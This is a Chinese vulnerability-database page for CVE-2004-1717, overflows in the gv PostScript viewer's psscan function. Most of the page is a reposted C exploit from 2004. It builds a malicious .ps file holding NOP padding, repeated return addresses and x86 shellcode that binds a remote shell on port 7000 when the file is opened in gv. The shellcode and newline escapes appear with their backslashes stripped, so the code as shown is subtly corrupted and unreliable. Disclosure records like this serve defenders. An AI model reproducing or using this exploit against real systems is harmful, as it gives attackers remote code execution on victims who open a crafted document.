GV Postscript 和PDF Viewer多个远程缓冲区溢出漏洞

GV Postscript 和PDF Viewer多个远程缓冲区溢出漏洞

漏洞ID 1108121 漏洞类型 缓冲区溢出
发布时间 2004-08-13 更新时间 2005-10-20
图片[1]-GV Postscript 和PDF Viewer多个远程缓冲区溢出漏洞-安全小百科CVE编号 CVE-2004-1717
图片[2]-GV Postscript 和PDF Viewer多个远程缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200408-132
漏洞平台 Linux CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/390
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200408-132
|漏洞详情
gv(ghostview)文件ps.c中的psscan函数存在多个缓冲区溢出漏洞。远程攻击者可以通过各种超长的Postscript文件执行任意代码,这些文件包含(1)BoundingBox,(2)comment,(3)Orientation,(4)PageOrder,或(5)Pagesvalue。
|漏洞EXP
/*
 * gv postscript viewer exploit , infamous42md AT hotpop DOT com
 *
 * run of the mill bof.  spawns a remote shell on port 7000.  woopty doo. if
 * someone has been able to exploit the heap overflow in cfengine, please email
 * me and teach me something. after days of pain i've concluded it's not 
 * possible b/c you can't manipulate the heap enough to get anything good in 
 * front of you.  please prove me wrong so i can learn.
 *
 * shouts to mitakeet
 *
 *  [n00b localho outernet] netstat -ant | grep 7000
 *  [n00b localho outernet] gcc -Wall -o gvown gvown.c
 *  [n00b localho outernet] ./gvown 0xbffff350
 *  [n00b localho outernet] ./gv h4x0ring_sacr3ts_uncuv3red.ps 
 *  [n00b localho outernet] netstat -ant | grep 7000
 *  tcp        0      0 0.0.0.0:7000            0.0.0.0:*               LISTEN   
  
 */
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define NOP 0x90
#define NNOPS 512
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
#define BS 0x10000
#define RETADDR_BYTES 400
#define PS_COMMENT "%!PS-Adobe- "
#define OUTFILE "h4x0ring_sacr3ts_uncuv3red.ps"


/* call them on port 7000, mine */
char remote[] =
"x31xc0x50x50x66xc7x44x24x02x1bx58xc6x04x24x02x89xe6"
"xb0x02xcdx80x85xc0x74x08x31xc0x31xdbxb0x01xcdx80x50"
"x6ax01x6ax02x89xe1x31xdbxb0x66xb3x01xcdx80x89xc5x6a"
"x10x56x50x89xe1xb0x66xb3x02xcdx80x6ax01x55x89xe1x31"
"xc0x31xdbxb0x66xb3x04xcdx80x31xc0x50x50x55x89xe1xb0"
"x66xb3x05xcdx80x89xc5x31xc0x89xebx31xc9xb0x3fxcdx80"
"x41x80xf9x03x7cxf6x31xc0x50x68x2fx2fx73x68x68x2fx62"
"x69x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80";
    

int main(int argc, char **argv)
{
    int len, x, fd;
    char    buf[BS];
    u_long  retaddr;

    if(argc < 2){
        fprintf(stderr, "Usage: %s < retaddr >n", argv[0]);
        return EXIT_FAILURE;
    }
    sscanf(argv[1], "%lx", &retaddr);

    /* create 3vil buf */
    memset(buf, NOP, BS);
    strcpy(buf, PS_COMMENT);
    len = strlen(buf);
    for(x = 0; x < RETADDR_BYTES - 3; x += sizeof(retaddr))
        memcpy(buf+x+len, &retaddr, sizeof(retaddr));
    len += x + NNOPS;
    strcpy(buf+len, remote);
    strcat(buf+len, "n");
    len += strlen(remote) + 1;   /* + NULL */

    /* create the 3vil file */
    if( (fd = open(OUTFILE, O_RDWR|O_CREAT|O_EXCL, 0666)) < 0)
        die("open");
    
    if(write(fd, buf, len) < 0)
        die("write");

    close(fd);
    
    return 0;
}

// milw0rm.com [2004-08-13]
|参考资料

来源:XF
名称:gv-psscan-header-bo(17019)
链接:http://xforce.iss.net/xforce/xfdb/17019
来源:BID
名称:10944
链接:http://www.securityfocus.com/bid/10944
来源:BUGTRAQ
名称:20040816gvbufferoverflows:here,there,andeverywhere
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=109267677114331&w;=2

相关推荐: FreeBSD apsfilter软件命令执行漏洞

FreeBSD apsfilter软件命令执行漏洞 漏洞ID 1206465 漏洞类型 未知 发布时间 2000-06-07 更新时间 2005-05-02 CVE编号 CVE-2000-0534 CNNVD-ID CNNVD-200006-030 漏洞平台 …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享